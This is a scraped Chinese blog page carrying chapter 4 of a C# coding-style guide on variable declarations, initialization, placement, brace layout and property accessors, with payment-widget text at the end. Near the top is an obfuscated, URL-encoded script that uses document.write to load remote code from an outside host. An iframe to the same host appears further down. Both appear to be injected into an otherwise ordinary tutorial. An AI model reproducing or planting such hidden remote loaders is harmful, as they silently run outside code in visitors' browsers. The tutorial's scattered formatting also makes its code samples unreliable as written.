第四章 申明

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
第四章 申明




第四章 申明
4.1
      
每行声明数
一行只建议作一个声明,
并按字母顺序排列


 
          int level;   //
推荐
          int size;    //
推荐
          int x, y;    //
不推荐
 
4.2
      
初始化
      建议在变量声明时就对其做初始化。       
 
4.3
      
位置
      变量建议置于块的开始处,不要总是在第一次使用它们的地方做声明。

 
        
void MyMethod()
          {
           
   int int1 = 0;         // beginning of method block
 
if (condition)
{
      
           int int2 = 0;     // beginning of "if" block
         
        
...
         
    }
         
}
 
       
不过也有一个例外
       
               
for (int i = 0; i < maxLoops; i++)
               
{
                    ...
                }
 
       
应避免不同层次间的变量重名


 
           
int count;
            ...
void MyMethod()
{
                
if (condition)
                {
                    
int count = 0;     //
避免
                    
...
                
}
               
 ...
}
 
4.4
      
类和接口的声明
      1
在方法名与其后的左括号间没有任何空格。
      2 左花括号 “{” 出现在声明的下行并与之对齐,单独成行。
      3 方法间用一个空行隔开。
    
4.5
      
字段的声明
不要使用是
public

protected
的实例字段。如果避免将字段直接公开给开发人员

可以更轻松地对类进行版本控制

原因是在维护二进制兼容性时字段不能被更改为属性。考虑为字段提供 get 和set 属性访问器,而不是使它们成为公共的。 get 和 set 属性访问器中可执行代码的存在使得可以进行后续改进,如在使用属性或者得到属性更改通知时根据需要创建对象。下面的代码示例阐释带有get 和 set 属性访问器的私有实例字段的正确使用。 示例:
           
public class Control: Component
           
{
           
   private int handle;
           
   public  int Handle
           
   {
            
      get
           
      {
           
         return handle;
           
      
}
           
   }
}
 
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值